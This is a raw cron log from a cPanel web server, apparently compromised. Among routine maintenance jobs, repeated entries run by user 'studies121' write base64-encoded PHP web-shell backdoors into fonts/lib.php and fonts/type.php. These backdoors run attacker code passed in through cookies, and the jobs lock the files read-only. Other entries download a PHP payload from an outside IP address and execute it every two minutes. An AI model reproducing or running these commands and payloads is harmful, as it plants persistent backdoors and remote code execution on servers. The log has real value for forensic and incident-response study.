Sep  2 07:34:01 ip-184-168-122-23 CROND[6773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:35:01 ip-184-168-122-23 CROND[6898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:35:01 ip-184-168-122-23 CROND[6903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:35:01 ip-184-168-122-23 CROND[6901]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 07:35:01 ip-184-168-122-23 CROND[6905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:35:01 ip-184-168-122-23 CROND[6904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:35:01 ip-184-168-122-23 CROND[6902]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 07:35:01 ip-184-168-122-23 CROND[6906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:35:01 ip-184-168-122-23 CROND[6900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:36:02 ip-184-168-122-23 CROND[7027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:36:02 ip-184-168-122-23 CROND[7031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:36:02 ip-184-168-122-23 CROND[7028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:36:02 ip-184-168-122-23 CROND[7029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:36:02 ip-184-168-122-23 CROND[7032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:37:01 ip-184-168-122-23 CROND[7229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:37:01 ip-184-168-122-23 CROND[7231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:37:01 ip-184-168-122-23 CROND[7234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:37:01 ip-184-168-122-23 CROND[7232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:38:01 ip-184-168-122-23 CROND[7355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:38:01 ip-184-168-122-23 CROND[7356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:38:01 ip-184-168-122-23 CROND[7357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:38:01 ip-184-168-122-23 CROND[7359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:38:01 ip-184-168-122-23 CROND[7360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:39:01 ip-184-168-122-23 CROND[7503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:39:01 ip-184-168-122-23 CROND[7505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:39:01 ip-184-168-122-23 CROND[7506]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 07:39:01 ip-184-168-122-23 CROND[7508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:39:01 ip-184-168-122-23 CROND[7510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:40:01 ip-184-168-122-23 CROND[7656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:40:01 ip-184-168-122-23 CROND[7658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:40:01 ip-184-168-122-23 CROND[7660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:40:01 ip-184-168-122-23 CROND[7659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:40:01 ip-184-168-122-23 CROND[7661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:40:01 ip-184-168-122-23 CROND[7664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:40:01 ip-184-168-122-23 CROND[7663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:40:01 ip-184-168-122-23 CROND[7665]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:41:01 ip-184-168-122-23 CROND[7798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:41:01 ip-184-168-122-23 CROND[7800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:41:01 ip-184-168-122-23 CROND[7802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:41:01 ip-184-168-122-23 CROND[7801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:42:02 ip-184-168-122-23 CROND[7903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:42:02 ip-184-168-122-23 CROND[7905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:42:02 ip-184-168-122-23 CROND[7906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:42:02 ip-184-168-122-23 CROND[7908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:42:02 ip-184-168-122-23 CROND[7907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:43:01 ip-184-168-122-23 CROND[8088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:43:01 ip-184-168-122-23 CROND[8090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:43:01 ip-184-168-122-23 CROND[8091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:43:01 ip-184-168-122-23 CROND[8089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:44:01 ip-184-168-122-23 CROND[8261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:44:01 ip-184-168-122-23 CROND[8265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:44:01 ip-184-168-122-23 CROND[8263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:44:01 ip-184-168-122-23 CROND[8264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:44:01 ip-184-168-122-23 CROND[8266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:45:01 ip-184-168-122-23 CROND[8416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:45:01 ip-184-168-122-23 CROND[8418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:45:01 ip-184-168-122-23 CROND[8421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:45:01 ip-184-168-122-23 CROND[8422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:45:01 ip-184-168-122-23 CROND[8419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:45:01 ip-184-168-122-23 CROND[8417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:46:01 ip-184-168-122-23 CROND[8516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:46:01 ip-184-168-122-23 CROND[8518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:46:01 ip-184-168-122-23 CROND[8520]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 07:46:01 ip-184-168-122-23 CROND[8521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:46:01 ip-184-168-122-23 CROND[8523]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 07:46:01 ip-184-168-122-23 CROND[8524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:46:01 ip-184-168-122-23 CROND[8527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
